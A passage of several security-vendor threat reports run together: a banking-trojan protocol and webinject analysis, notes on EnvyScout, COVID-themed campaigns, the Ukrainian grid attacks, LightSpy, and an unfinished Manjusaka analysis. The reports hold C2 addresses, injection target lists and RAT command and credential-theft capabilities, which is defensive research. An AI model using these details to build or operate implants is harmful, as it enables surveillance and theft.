46 38 00000020: 45][04 00 00 00][0c 00 00 00][00 00 00 00 00 00 00 ... 000006B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00][0a 00 000006C0: 00 00] 00 00 00 00 [33 36 30 7c 31 7c 7c 7c 0d 0a] ``` The fields marked in the example above are (from left to right): - command record hash length - command record hash - ??? - command - null bytes - payload length - payload In the above example, the command number is 12, and the payload can be forwarded to the right function. Since version 4, new functions were added to parse the Webinject and Webfilter configuration (Zeus style) received. #### WebInject Configuration (Command 03) ``` set_local_variables ybhftdhnb65 set_url https://code.jquery.com/jquery*.js* https://apis.google.com/js/client.js* https://clients5.google.com/ads/measurement/jn/jn.js* https://www.facebook.com/rsrc.php/*.js https://static.xx.fbcdn.net/rsrc.php/*.js https://ajax.googleapis.com/ajax/libs/jquery*jquery*js https://www.google-analytics.com/analytics.js https://www.google-analytics.com/ga.js https://www.googletagservices.com/tag/js*.js https://sb.scorecardresearch.com/beacon.js https://start.duckduckgo.com*.js https://www.eff.org/*.js https://apis.google.com/_/*/js/* https://www.gstatic.com/*_/*js/* https://cdn.taboola.com/TaboolaCookieSyncScript.js https://acdn.adnxs.com/ast/ast.js https://s.aolcdn.com/ads/adswrappermsni.js https://s.yimg.com/av/yap/ga/yap.js https://s.yimg.com/rq/darla/*/js/*min.js https://www.bing.com/rms/*.js https://pagead2.googlesyndication.com/pagead/js/*.js ``` The uncompressed data is a DLL (the main module) similar to the unpacked main module in version 4, although it seems bigger with a size around 18M. Further communications from the main module are similar to version 4 as described in the Proofpoint blog post, except that the data structure is the same as talked previously.
# Il malware EnvyScout (APT29) è stato veicolato anche in Italia Questo CERT ha avuto evidenza oggi di una e-mail fraudolenta veicolata in Italia lo scorso 29 giugno. Il messaggio, che pretende di provenire da “Cancelliere governo.it” (ma l’indirizzo email utilizzato non ha nulla a che vedere con il dominio “governo.it”), invita i destinatari a prendere visione dell’allegato PDF per una informativa inerente la vaccinazione COVID-19. Il PDF allegato presenta un link che punta ad una pagina HTML (i.html) di un dominio localizzato in Serbia. Il file HTML contiene uno script che ha il compito di acquisire l’indirizzo IP della vittima e lo User-Agent, di comunicarlo ad una pagina PHP (t.php) sempre sullo stesso dominio e di rilasciare un file ISO (Decret.iso) codificato in Base64. La data di creazione del file “Decret.iso” conferma la data di inizio della campagna. Il file ISO infatti risulta essere stato creato alle 08:58 del 29 giugno 2022 mentre l’e-mail è stata ricevuta alle ore 14:10 dello stesso giorno. L’archivio ISO presenta all’interno quattro file: uno con estensione LNK, un file EXE e 2 file DLL. Come è possibile osservare dal collegamento presente nel file “DECRET.lnk”, del quale si hanno precedenti evidenze, viene eseguito il file “HP2.exe” (firmato digitalmente da HP Inc. ma con certificato scaduto il 22/04/2022) che, in sequenza, ha il compito di caricare “VERSION.DLL” e “HPSCANAP.DLL”. Tutta la catena di infezione è chiaramente riconducibile ad una variante di EnvyScout, utilizzato dal gruppo APT29 denominato Nobelium, già noto per aver veicolato campagne a tema Covid-19 contro agenzie governative per azioni di spionaggio tramite l’uso di beacon CobaltStrike. ## Indicatori di compromissione (IoC) Ulteriori analisi sono in corso. Al fine di rendere pubblici i dettagli della campagna si riportano di seguito gli IoC al momento rilevati e già condivisi con le organizzazioni accreditate alla ricezione del flusso di IoC del CERT-AgID.
# How Cyber Adversaries are Adapting to Exploit the Global Pandemic Counter Threat Unit Research Team Threat actors pivot their tactics to exploit perceived COVID-19 information vacuums, increased reliance on remote conferencing platforms, and victims’ fears. The ongoing COVID-19 (also known as coronavirus) pandemic is creating challenges for organizations and individuals around the world. Most organizations have implemented remote working for their employees where possible. This transition changes how employees access data and communicate with colleagues and customers. That change creates an opportunity for threat actors who seek to exploit the situation for financial gain or intelligence gathering. Secureworks® Counter Threat Unit™ (CTU) researchers are tracking multiple coronavirus-themed campaigns across customer telemetry and third-party reporting. As of this publication, there has not been a noticeable increase in detections across customers’ managed security controls since the beginning of 2020. However, there is clear evidence of well-established cybercriminal and government-sponsored threat actors leveraging general interest in COVID-19 to entice victims to open malicious links and attachments. CTU™ researchers have observed government-sponsored hackers weaponizing coronavirus-themed Office documents and sophisticated criminal operators targeting critical infrastructure and organizations in areas hit hard by the pandemic. The international response to the pandemic will be the subject of intelligence focus for some countries, as they seek to understand what other countries and international organizations are doing, saying, and thinking beyond public statements. This focus has likely shifted targeting requirements for some intelligence agencies and their associated cyberespionage operations. For example, Iranian government-sponsored threat actors reportedly attempted to infiltrate the World Health Organization. Meanwhile, traditional cyberespionage activity continues. There have been many examples of government-sponsored actors incorporating the COVID-19 situation into their standard targeting operations: - Word documents using Taiwanese, Vietnamese, and English language coronavirus-themed lures in February and March have been attributed to BRONZE PRESIDENT (also known as Mustang Panda). - CTU researchers analyzed a malicious RTF document in February linked to threat actors suspected to be based in China. This purported update from the Mongolian Ministry of Health on the global COVID-19 situation dropped the PoisonIvy remote access trojan. - The Pakistan-based COPPER FIELDSTONE threat group (also known as APT36) reportedly leveraged the coronavirus pandemic in a lure document supposedly from the government of India. The document dropped the threat group’s signature CrimsonRAT malware. - In March, a file named “COVID-19 and North Korea.docx” was uploaded to the VirusTotal analysis service and was observed contacting a command and control (C2) domain associated with the North Korean NICKEL KIMBALL threat group (also known as Kimsuky). - On April 3, researchers noted a COVID-themed malicious document (maldoc) that used a C2 domain linked to the TILDEN threat group (also known as Gamaredon). CTU researchers assess that TILDEN may be associated with Russian intelligence services. Well-resourced cyberespionage groups can rapidly adapt their targeting to take advantage of emerging opportunities. Due to public interest in COVID-19, spearphishing attacks using this theme are more likely to be successful. It is highly likely that threat groups will also explore their targets’ increased attack surface as employees transition to working from home and the uptake in remote access and conferencing solutions continues. Although hostile foreign intelligence services might not factor into every organization’s threat model, all organizations should consider risks posed by financially motivated cybercriminals. Those groups have also quickly pivoted to exploit the COVID-19 pandemic: - The Italian government implemented quarantines in Lombardy and 14 other affected provinces on March 8 and then extended the lockdown nationwide on March 10 in response to rising numbers of infections. On March 2 and 3, when it was clear that Italy was facing a challenge in containing the spread of the disease, several high-volume Italian-language spam campaigns began distributing the TrickBot malware. On March 13, CTU researchers observed Italian banks being added to TrickBot web inject configurations. This timing could be a coincidence, or GOLD BLACKBURN could have recognized that social isolation might result in an increased dependency on online banking. - In late February, REvil ransom notes containing the names of Italian manufacturing companies began to appear. It is possible that one or more REvil affiliates are deliberately targeting organizations that might be more susceptible to extortion because they are already facing an extremely challenging economic outlook. - A legitimate coronavirus tracking map was weaponized with the AZORult information-stealing malware and sold on underground forums. - The LokiBot information stealer has been dropped via a maldoc that uses a World Health Organization theme. - An email sent in March claiming to provide tips on how to avoid COVID-19 scams delivered the Gozi ISFB (also known as Ursnif) banking trojan. - Threat actors have purportedly attempted to brute force Linksys routers so they could modify DNS records to redirect network traffic to a coronavirus-themed malicious website delivering the Oski stealer malware. - The corona live 1.1 app claims to track the coronavirus but actually delivers the commercially available SpyMax spyware in a campaign targeting Libyans. The fundamental business model and revenue generation of these sophisticated criminal groups does not really change as a result of the global pandemic. But fear, uncertainty, and a thirst for information about the current situation increases the number of potential victims and the likelihood of successful attacks. Some threat actors have granted the healthcare sector a partial reprieve from this activity. GOLD VILLAGE, which operates the Maze ransomware, stated on March 18 that it would no longer target healthcare. However, the threat actors subsequently advertised compromised healthcare organizations. Since March 24, the GOLD TAHOE threat group, which operates the Clop ransomware, has included a message on its public name-and-shame website that the group will not target healthcare. It is perhaps too early to determine if there is some honor among thieves. The activity receiving the most public attention includes spoofed domains, disruptive acts targeting remote conferencing services, and other scams. Unlike some of the threats discussed earlier in this blog post, the challenge for security teams in these incidents is identifying the malicious activity amid the noise: - Over 90,000 coronavirus-themed domains that included terms such as covid, corona, chineseflu, and wuhan were created between January 1 and April 1. The vast majority of these domains will not be linked to active cybercrime or targeted activity, but some undoubtedly will be. - Threat actors are taking advantage of increased teleconferencing use, spoofing legitimate applications to deliver malware and creating malicious domains imitating platforms such as Zoom, Microsoft Teams, and Google Hangouts. - The U.S. Federal Bureau of Investigation (FBI) warned of teleconferencing services being hijacked (also known as Zoom-bombing), noting incidents in two U.S. schools. A significant proportion of activity targeting remote conferencing services will be opportunistic and intended to cause minor disruption. However, sophisticated threat actors will try to find and exploit vulnerabilities or weaknesses in those platforms. - Threat actors created sextortion emails that threaten to infect the victim’s family members with coronavirus if a payment of $4,000 USD is not received. While these threats cannot be fulfilled, they may be convincing enough to scare victims. - The FBI identified an SMS phishing (smishing) campaign that appeared to be a message from consumer products wholesaler Costco. The message offered money for completing a survey, but the survey is hosted on a malicious website. - Alleged government-funding opportunities have been advertised through Facebook Messenger. These scams instruct the recipient to pay $20 USD for shipping of a “grant” check that never arrives. CTU researchers recommend that organizations apply the following mitigations for coronavirus-themed threats. Many of these security practices protect organizations against other threats as well: - Train employees to recognize and report phishing and other scams. These attempts could leverage via email, phone, social media, SMS (text), or other messaging applications. - Conduct regular vulnerability scans, particularly of Internet-facing infrastructure. Ensure that devices and applications are centrally managed, are installed from known-good media, and are regularly patched. - Use multi-factor authentication where possible. Requiring additional authentication elements makes it difficult for threat actors to gain access using stolen user credentials. - Implement endpoint and network monitoring controls to detect malicious activity. Focus on detecting and investigating unusual activity from weaponized files, such as launching PowerShell, WMI, WScript, or unusual network communications. - Where possible, require users to connect through corporate resources such as virtual private networks (VPNs) and DNS servers to access the Internet. This approach provides additional monitoring opportunities if user endpoints are compromised. - Consider the organization’s security requirements when selecting a remote conferencing tool and vendor to ensure that the tool allows for an appropriate level of protection for conversations and data. - Issue guidance to employees regarding proper use of remote conferencing services. Use passcodes or other authentication features, and do not publicly disclose meeting IDs where possible. - Review incident response plans to ensure that they remain appropriate for the modified work environment. Consider how to test those plans without adding unnecessary stress to the organization. - Select a full-service threat intelligence provider, or several complementary ones, that offers coverage to support the organization’s threat model and that reduces the potential of internal security teams spending their time chasing false leads.
# Threat Intelligence Report: Cyberattacks Against Ukrainian ICS Since 2008, we have seen a steady progression in the severity and scale of cyberattacks on critical infrastructure. In 2010, Stuxnet malware was placed at a nuclear enrichment facility in Iran, tampering with the control of equipment used in a critical process, resulting in physical damage. In 2012, malware was used to erase the data on 30,000 computers belonging to one of the world’s largest energy companies. Since 2011, malware has been found searching the Internet for locations of particular brands of industrial control equipment. In 2014, the control systems of a German steel mill were compromised, denying view and control of equipment, which also resulted in physical damage. In the spring of 2015, a sophisticated cyber-attack targeted the communications systems of France’s national TV network, TV5Monde. The trend for increasing threats from cyberspace is worsening. Cyber-attacks on critical infrastructure have also become associated with political and even military conflict. In 2008, cyber-attacks coincided with a traditional military operation for the first time in the Russian-Georgian War, which arose out of a long political conflict between the two countries over separatists in the Georgian provinces of Abkhazia and South Ossetia. The cyber-attack on Ukraine’s power grid just before Christmas in 2015 also occurred in the context of political-military conflict over Russia’s illegal annexation of the Ukrainian province of Crimea. Of even greater concern is that these cyber incidents are suspected to have been caused not by cyber criminals or student hackers but by state-supported advanced and persistent threat (APT) actors. The successful cyber-attacks against a Ukrainian regional power grid in December 2015 and the apparently even more sophisticated follow-up attack on the Ukrainian capital nearly a year later serve as a serious wake-up call for security policy practitioners. All of these wake-up calls are taking place in an increasingly militarized cyberspace environment, with many nations treating it as a new domain for military operations. Until the international community recognizes the seriousness of this new threat and organizes its response to manage this unsettling trend in cyberspace, operators of critical infrastructure can take steps to reduce the risk and potential for damage to their critical systems. The cyber-attacks executed against the Ukrainian power grid and other sectors of critical infrastructure in 2015 are examined to derive useful lessons that can be applied by operators of critical infrastructure. In addition to technical solutions, this paper stresses the importance of information sharing and proposes what policymakers can do to further support the technology-based efforts of operators and industry at the international level. ## Executive Summary: Potential Scenario for the First Attack 1. It started with a spear phishing email campaign targeting IT employees. 2. It infected the network using BlackEnergy version 3. 3. At that point, the attackers were able to retrieve VPN credentials to access the industrial network. 4. They disabled backup power, opened grid breakers, and overwrote serial-to-ethernet firmware used to manipulate grid breakers. 5. The attackers used KillDisk to delete the master boot record of critical industrial systems, delete logs, and erase software to communicate with breakers. 6. Finally, they performed a telephone denial-of-service attack on the call center right after the attack occurred. The scale of the attack was able to cut power in a whole geographic area of Ukraine as three independent electricity distributors were simultaneously attacked. The impact of this attack was that more than 50 substations went offline, and more than 200,000 homes remained without electricity for a period of time. Ukrainian operators were able to restore power after 6 hours using manual on-site switches. ## Facts & Reports On December 18, 2016, the second power outage occurred in Ukraine, causing some blackouts in Kiev for less than one hour. This second attack targeted another grid company named Ukrenergo, causing multiple blackouts in the Ukrainian capital. Experts of the grid company were able to fix the situation in less than 1 hour with a manual procedure. The faulty component was the automation control systems piloting a substation in a village near Kiev. The main website of the power grid had been unreachable for a couple of days during and after the attack. The head of Ukrenergo had to publish a quick statement on Facebook. Law enforcement officials and cyber experts are still working to compile a chronology of events and draw up a list of compromised accounts. On June 27, 2017, another massive attack was performed against Ukrainian critical infrastructure. The main server of the Ukrainian radio Holos Stolytsy was infected by malware, allowing the radio to continue diffusion using an analog radio emitter. This was “NotPetya”’s first strike. The initial infection vector came from a malicious update of the Ukrainian accounting software M.E.Doc. Determining the goal or attributing the malware to a country is quite hard. The Ukrainian Cyber Police officially confirmed that M.E.Doc servers were backdoored on three different occasions. The total losses due to the alleged negligence of Intellect-Service might be in the range of $1 billion. ## Conclusion Today’s cyber attacker is several steps ahead of the defender. This is especially so in the case of a single operator trying to defend against a state-resourced APT. It is important to realize that the operator-defender has a complex task of managing and protecting increasingly interconnected and sophisticated systems. The attacker needs only to find a single weakness in the design or exposed vulnerability to defeat all the wide-ranging efforts of the defender. This case demonstrates the absolute need for a monitoring capability on such ICS systems. With adapted tools, hints of attack and/or compromise on the industrial network can be detected to prevent and mitigate the attack as soon as possible.
# iOS Exploit Chain Deploys LightSpy Feature-Rich Malware **Alexey Firsh, Kurt Baumgartner, Brian Bartholomew** A watering hole was discovered on January 10, 2020, utilizing a full remote iOS exploit chain to deploy a feature-rich implant named LightSpy. The site appears to have been designed to target users in Hong Kong based on the content of the landing page. Since the initial activity, we released two private reports exhaustively detailing spread, exploits, infrastructure, and LightSpy implants. We are temporarily calling this APT group “TwoSail Junk.” Currently, we have hints from known backdoor callbacks to infrastructure about clustering this campaign with previous activity. We are working with colleagues to tie LightSpy with prior activity from a long-running Chinese-speaking APT group, previously reported on as Spring Dragon/Lotus Blossom/Billbug, known for their Lotus Elise and Evora backdoor malware. Considering this LightSpy activity has been disclosed publicly by our colleagues from TrendMicro, we would like to further contribute missing information to the story without duplicating content. In our quest to secure technologies for a better future, we reported the malware and activity to Apple and other relevant companies. This supplemental information can be difficult to organize for easy reading. In light of this, this document is broken down into several sections. 1. **Deployment timeline** – additional information clarifying LightSpy deployment milestone events, including both exploit releases and individual LightSpy iOS implant component updates. 2. **Spreading** – supplemental technical details on various techniques used to deliver malicious links to targets. 3. **Infrastructure** – supplemental description of a TwoSail Junk RDP server, the LightSpy admin panel, and some related server-side JavaScript. 4. **Android implant and a pivot into Evora** – additional information on an Android implant and related infrastructure. After pivoting from the infrastructure in the previous section, we find related implants and backdoor malware, helping to connect this activity to the previously known SpringDragon APT with low confidence. More information about LightSpy is available to customers of Kaspersky Intelligence Reporting. Contact: [email protected] ## Deployment Timeline During our investigation, we observed the actor modifying some components involved in the exploit chain on February 7, 2020, with major changes, and on March 5, 2020, with minor ones. The first observed version of the WebKit exploit dated January 10, 2020, closely resembled a proof of concept (PoC), containing elements such as buttons, alert messages, and many log statements throughout. The second version commented out or removed many of the log statements, changed `alert()` to `print()` statements, and also introduced some language errors such as “your device is not support…” and “stab not find…”. By analyzing the changes in the first stage WebKit exploit, we discovered the list of supported devices was also significantly extended: | Device | iOS version | Supported as of Jan 10 | Supported as of Feb 7 | |--------------|-------------|------------------------|------------------------| | iPhone 6 | 11.03 | + | – | | iPhone 6S | 12.01 | + | commented | | | 12.2 | – | + | | iPhone 7 | 12.1 | – | + | | | 12.11 | + | + | | | 12.12 | + | + | | | 12.14 | – | + | | | 12.2 | – | + | | iPhone 7+ | 12.2 | – | + | | iPhone 8 | 12.2 | – | + | | iPhone 8+ | 12.2 | – | + | | iPhone X | 12.2 | – | + | As seen above, the actor was actively changing implant components, which is why we are providing a full list of historical hashes in the IoC section at the end of this report. There were many minor changes that did not directly affect the functionality of each component, but there were also some exceptions to this that will be expanded on below. Based on our observations of these changes over a relatively short time frame, we can assess that the actor implemented a fairly agile development process, with time seemingly more important than stealthiness or quality. One interesting observation involved the “EnvironmentalRecording” plugin (MD5: ae439a31b8c5487840f9ad530c5db391), which was a dynamically linked shared library responsible for recording surrounding audio and phone calls. On February 7, 2020, we noticed a new binary (MD5: f70d6b3b44d855c2fb7c662c5334d1d5) with the same name with no similarities to the earlier one. This new file did not contain any environment paths, version stamps, or any other traces from the parent plugin pattern. Its sole purpose was to clean up the implant components by erasing all files located in “/var/iolight/,” “/bin/light/,” and “/bin/irc_loader/.” We’re currently unsure whether the actor intended to replace the original plugin with an uninstall package or if this was a result of carelessness or confusion from the rapid development process. Another example of a possible mistake involved the “Screenaaa” plugin. The first version (MD5: 35fd8a6eac382bfc95071d56d4086945) that was deployed on January 10, 2020, did what we expected: It was a small plugin designed to capture a screenshot, create a directory, and save the capture file in JPEG format. However, the plugin (MD5: 7b69a20920d3b0e6f0bffeefdce7aa6c) with the same name that was packaged on February 7 had a completely different functionality. This binary was actually a LAN scanner based on MMLanScan, an open-source project for iOS that helps scan a network to show available devices along with their MAC addresses, hostname, and manufacturer. Most likely, this plugin was mistakenly bundled up in the February 7 payload with the same name as the screenshot plugin. ## Spreading We cannot say definitively that we have visibility into all of their spreading mechanisms. We do know that in past campaigns, precise targeting of individuals was performed over various social network platforms with direct messaging. Both ours and previous reporting from others have documented TwoSail Junk’s less precise and broad use of forum posts and replies. These forum posts direct individuals frequenting these sites to pages hosting iframes served from their exploit servers. We add Telegram channels and Instagram posts to the list of communication channels abused by these attackers. These sites and communication mediums are known to be frequented by some activist groups. The initial watering hole site (hxxps://appledaily.googlephoto[.]vip/news[.]html) on January 10, 2020, was designed to mimic a well-known Hong Kong-based newspaper “Apple Daily” by copy-pasting HTML content from the original. However, at that time, we had not observed any indications of the site being purposely distributed in the wild. Based on our KSN detection statistics, we began seeing a massive distribution campaign beginning on February 18, 2020. Starting on February 18, the actors began utilizing a series of invisible iframes to redirect potential victims to the exploit site as well as the intended legitimate news site from the lure. ## Infrastructure ### RDP Clues The domain used for the initial watering hole page (googlephoto[.]vip) was registered through GoDaddy on September 24, 2019. No unmasked registration information was able to be obtained for this domain. The subdomain (appledaily.googlephoto[.]vip) began resolving to a non-parked IP address (103.19.9[.]185) on January 10, 2020, and has not moved since. The server is located in Singapore and is hosted by Beyotta Network, LLP. At the time of our initial investigation, the server was listening on ports 80 (HTTP) and 3389 (RDP with SSL/TLS enabled). The certificate for the server was self-signed and created on December 16, 2019. Based on Shodan data as early as December 21, 2019, there was a currently logged-in user detected whose name was “SeinandColt.” ### Admin Panel The C2 server for the iOS payload (45.134.1[.]180) also appeared to have an admin panel on TCP port 50001. The admin panel seems to be a Vue.js application bundled with Webpack. It contains two language packs: English and Chinese. A cursory analysis provides us the impression of the actual scale of the framework. If we take a closer look at the index.js file for the panel, some interesting configurations are visible, including a user config, an application list, log list, and other interesting settings. The “userConfig” variable indicates other possible platforms that may have been targeted by the same actors, such as Linux, Windows, and routers. Another interesting setting includes the “app_list” variable which is commented out. This lists two common applications used for streaming and chat mostly in China (QQ and Miapoi). Looking further, we can also see that the default map coordinates in the config point directly to the Tian’anmen Gate in Beijing; however, most likely this is just a common and symbolic mapping application default for the center of Beijing. ## Android Implants and a Pivot into Evora During analysis of the infrastructure related to iOS implant distribution, we also found a link directing to Android malware – hxxp://app.hkrevolution[.]club/HKcalander[.]apk (MD5: 77ebb4207835c4f5c4d5dfe8ac4c764d). According to artifacts found in Google cache, this link was distributed through Telegram channels “winuxhk” and “brothersisterfacebookclub,” and Instagram posts in late November 2019 with a message lure in Chinese translated as “The Hong Kong People Calendar APP is online ~~~ Follow the latest Hong Kong Democracy and Freedom Movement. Click to download and support the frontline. Currently only Android version is available.” Further technical analysis of the packed APK reveals the timestamp of its actual build – 2019-11-04 18:12:33. It also uses the subdomain, sharing an iOS implant distribution domain, as its C2 server – hxxp://svr.hkrevolution[.]club:8002. Its code contains a link to another related domain: Checking this server, we found it hosted another related APK: - **MD5**: fadff5b601f6fca588007660934129eb - **URL**: hxxp://movie.poorgoddaay[.]com/MovieCal[.]apk - **C2**: hxxp://app.poorgoddaay[.]com:8002 - **Build timestamp**: 2019-07-25 21:57:47 The distribution vector remains the same – Telegram channels. The latest observed APK sample is hosted on a server that is unusual for the campaign context – xxinc-media[.]oss-cn-shenzhen.aliyuncs[.]com. We assume that the actors are taking steps to split the iOS and Android activities between different infrastructure pieces. - **MD5**: 5d2b65790b305c186ef7590e5a1f2d6b - **URL**: hxxps://xxinc-media.oss-cn-shenzhen.aliyuncs[.]com/calendar-release-1.0.1.apk - **C2**: hxxp://45.134.0[.]123:8002 - **Build timestamp**: 2020-01-14 18:30:30 We had not observed any indications of this URL being distributed in the wild yet. If we take a closer look at the domain poorgoddaay[.]com that not only hosted the malicious APK but also was a C2 for them, we can note that there are two subzones of particular interest to us: - zg.poorgoddaay[.]com - ns1.poorgoddaay[.]com We were able to work with partners to pivot into a handful of “Evora” samples that use the above two subzones as their C2. Taking that a step further, using our Kaspersky Threat Attribution Engine (KTAE), we can see that the partner samples using those subzones are 99% similar to previous backdoors deployed by SpringDragon. We are aware of other related and recent “Evora” malware samples calling back to these same subnets while targeting organizations in Hong Kong as well. These additional factors help lend at least low confidence to clustering this activity with SpringDragon/LotusBlossom/Billbug. ## Conclusion This particular framework and infrastructure is an interesting example of an agile approach to developing and deploying a surveillance framework in Southeast Asia. This innovative approach is something we have seen before from SpringDragon, and LightSpy targeting geolocation at least falls within previous regional targeting of SpringDragon/LotusBlossom/Billbug APT, as does infrastructure and “Evora” backdoor use. ## Indicators of Compromise ### File Hashes - **payload.dylib** - 9b248d91d2e1d1b9cd45eb28d8adff71 (Jan 10, 2020) - 4fe3ca4a2526088721c5bdf96ae636f4 (Feb 7, 2020) - **ircbin.plist** - e48c1c6fb1aa6c3ff6720e336c62b278 (Jan 10, 2020) - **irc_loader** - 53acd56ca69a04e13e32f7787a021bb5 (Jan 10, 2020) - **light** - 184fbbdb8111d76d3b1377b2768599c9 (Jan 10, 2020) - bfa6bc2cf28065cfea711154a3204483 (Feb 7, 2020) - ff0f66b7089e06702ffaae6025b227f0 (Mar 5, 2020) - **baseinfoaaa.dylib** - a981a42fb740d05346d1b32ce3d2fd53 (Jan 10, 2020) - 5c69082bd522f91955a6274ba0cf10b2 (Feb 7, 2020) - **browser** - 7b263f1649dd56994a3da03799611950 (Jan 10, 2020) - **EnvironmentalRecording** - ae439a31b8c5487840f9ad530c5db391 (Jan 10, 2020) - f70d6b3b44d855c2fb7c662c5334d1d5 (Feb 7, 2020) - **FileManage** - f1c899e7dd1f721265cc3e3b172c7e90 (Jan 10, 2020) - ea9295d8409ea0f1d894d99fe302070e (Feb 7, 2020) - **ios_qq** - c450e53a122c899ba451838ee5250ea5 (Jan 10, 2020) - f761560ace765913695ffc04dfb36ca7 (Feb 7, 2020) - **ios_telegram** - 1e12e9756b344293352c112ba84533ea (Jan 10, 2020) - 5e295307e4429353e78e70c9a0529d7d (Feb 7, 2020) - **ios_wechat** - 187a4c343ff4eebd8a3382317cfe5a95 (Jan 10, 2020) - 66d2379318ce8f74cfbd0fb26afc2084 (Feb 7, 2020) - **KeyChain** - db202531c6439012c681328c3f8df60c (Jan 10, 2020) - **locationaaa.dylib** - 3e7094eec0e99b17c5c531d16450cfda (Jan 10, 2020) - 06ff47c8108f7557bb8f195d7b910882 (Feb 7, 2020) - **Screenaaa** - 35fd8a6eac382bfc95071d56d4086945 (Jan 10, 2020) - 7b69a20920d3b0e6f0bffeefdce7aa6c (Feb 7, 2020) - **ShellCommandaaa** - a8b0c99f20a303ee410e460730959d4e (Jan 10, 2020) - **SoftInfoaaa** - 8cdf29e9c6cca6bf8f02690d8c733c7b (Jan 10, 2020) - **WiFiList** - c400d41dd1d3aaca651734d4d565997c (Jan 10, 2020) ### Android Malware - 77ebb4207835c4f5c4d5dfe8ac4c764d - fadff5b601f6fca588007660934129eb - 5d2b65790b305c186ef7590e5a1f2d6b ### Past Similar SpringDragon Evora - 1126f8af2249406820c78626a64d12bb - 33782e5ba9067b38d42f7ecb8f2acdc8 ### Domains and IPs **Implant C2** - 45.134.1[.]180 (iOS) - 45.134.0[.]123 (Android) - app.poorgoddaay[.]com (Android) - svr[.]hkrevolution[.]club (Android) **WebKit Exploit Landing** - 45.83.237[.]13 - messager[.]cloud **Spreading** - appledaily.googlephoto[.]vip - www[.]googlephoto[.]vip - news2.hkrevolution[.]club - news.hkrevolution[.]club - www[.]facebooktoday[.]cc - www[.]hkrevolt[.]com - news.hkrevolt[.]com - movie.poorgoddaay[.]com - xxinc-media[.]oss-cn-shenzhen.aliyuncs[.]com **Related Subdomains** - app.hkrevolution[.]club - news.poorgoddaay[.]com - zg.poorgoddaay[.]com - ns1.poorgoddaay[.]com ### Full Mobile Device Command List - change_config - exe_cmd - stop_cmd - get_phoneinfo - get_contacts - get_call_history - get_sms - delete_sms - send_sms - get_wechat_account - get_wechat_contacts - get_wechat_group - get_wechat_msg - get_wechat_file - get_location - get_location_continuing - get_browser_history - get_dir - upload_file - download_file - delete_file - get_picture - get_video - get_audio - create_dir - rename_file - move_file - copy_file - get_app - get_process - get_wifi_history - get_wifi_nearby - call_record - call_photo - get_qq_account - get_qq_contacts - get_qq_group - get_qq_msg - get_qq_file - get_keychain - screenshot
# Manjusaka: A Chinese Sibling of Sliver and Cobalt Strike By Asheer Malhotra and Vitor Ventura. Cisco Talos recently discovered a new attack framework called "Manjusaka" being used in the wild that has the potential to become prevalent across the threat landscape. This framework is advertised as an imitation of the Cobalt Strike framework. The implants for the new malware family are written in the Rust language for Windows and Linux. A fully functional version of the command and control (C2), written in GoLang with a User Interface in Simplified Chinese, is freely available and can generate new implants with custom configurations with ease, increasing the likelihood of wider adoption of this framework by malicious actors. We recently discovered a campaign in the wild using lure documents themed around COVID-19 and the Haixi Mongol and Tibetan Autonomous Prefecture, Qinghai Province. These maldocs ultimately led to the delivery of Cobalt Strike beacons on infected endpoints. We have observed the same threat actor using the Cobalt Strike beacon and implants from the Manjusaka framework. ## Introduction Cisco Talos has discovered a relatively new attack framework called "Manjusaka" (which can be translated to "cow flower" from the Simplified Chinese writing) being used in the wild. As defenders, it is important to keep track of offensive frameworks such as Cobalt Strike and Sliver so that enterprises can effectively defend against attacks employing these tools. Although we haven't observed widespread usage of this framework in the wild, it has the potential to be adopted by threat actors all over the world. This disclosure from Talos intends to provide early notification of the usage of Manjusaka. We also detail the framework's capabilities and the campaign that led to the discovery of this attack framework in the wild. The research started with a malicious Microsoft Word document (maldoc) that contained a Cobalt Strike (CS) beacon. The lure on this document mentioned a COVID-19 outbreak in Golmud City, one of the largest cities in the Haixi Mongol and Tibetan Autonomous Prefecture, Qinghai Province. During the investigation, Cisco Talos found no direct link between the campaign and the framework developers, aside from the usage of the framework (which is freely available on GitHub). However, we could not find any data that could support victimology definition. This is justifiable considering there's a low number of victims, indicating the early stages of the campaign, further supported by the maldoc metadata that indicates it was created in the second half of June 2022. While investigating the maldoc infection chain, we found an implant used to instrument Manjusaka infections, contacting the same IP address as the CS beacon. This implant is written in the Rust programming language and we found samples for Windows and Linux operating systems. The Windows implant included test samples, which had non-internet-routable IP addresses as command and control (C2). Talos also discovered the Manjusaka C2 executable — a fully functional C2 ELF binary written in GoLang with a User Interface in Simplified Chinese — on GitHub. While analyzing the C2, we generated implants by specifying our configurations. The developer advertises it has an adversary implant framework similar to Cobalt Strike or Sliver. The developers have provided a design diagram of the Manjusaka framework illustrating the communications between the various components. A lot of these components haven't been implemented in the C2 binary available for free. Therefore, it is likely that either: - The framework is actively under development with these capabilities coming soon, or - The developer intends to or is already providing these capabilities via a service/tool to purchase - and the C2 available for free is just a demo copy for evaluation. ## Manjusaka Attack Framework The malware implant is a RAT family called "Manjusaka." The C2 is an ELF binary written in GoLang, while the implants are written in the Rust programming language, consisting of a variety of capabilities that can be used to control the infected endpoint, including executing arbitrary commands. We discovered EXE and ELF versions of the implant. Both sets of samples catering to these platforms consist of almost the same set of RAT functionalities and communication mechanisms. ### Communications The sample makes HTTP requests to a fixed address `http://39.104.90.45/global/favicon.png` that contains a fixed session cookie defined by the sample rather than by the server. The session cookie in the HTTP requests is base64 encoded and contains a compressed copy of binary data representing a combination of random bytes and system preliminary information used to fingerprint and register the infected endpoint with the C2. The communication follows a regular pattern of communication, the implant will make a request to an URL which in this case is '/global/favicon.png'. Even though the request is an HTTP GET, it sends two bytes that are 0x191a as data. The reply is always the same, consisting of five bytes 0x1a1a6e0429. This is the C2 standard reply, which does not correspond to any kind of action on the implant. If the session cookie is not provided, the server will reply with a 302 code redirecting to `http://micsoft.com` which is also redirected, this time with a 301, to `http://wwwmicsoft.com`. At the time of publishing, the redirection seems like a trick to distract researchers. Talos could not find any direct correlation between the domains and the authors and/or operators of this C2. ### Implant Capabilities The implant consists of a multitude of remote access trojan (RAT) capabilities that include some standard functionality and a dedicated file management module. The implant can perform the following functions on the infected endpoint based on the request and accompanying data received from the C2 server: - Execute arbitrary commands: The implant can run arbitrary commands on the system using "cmd.exe /c". - Get file information for a specified file: Creation and last write times, size, volume serial number and file index. - Get information about the current network connections (TCP and UDP) established on the system, including local network addresses, remote addresses and owning Process IDs (PIDs). - Collect browser credentials: Specifically for Chromium-based browsers. - Collect Wi-Fi SSID information, including passwords. - Obtain Premiumsoft Navicat credentials. - Take screenshots of the current desktop. - Obtain comprehensive system information from the endpoint. ### File Management Capabilities The file management capabilities of the implant include: - 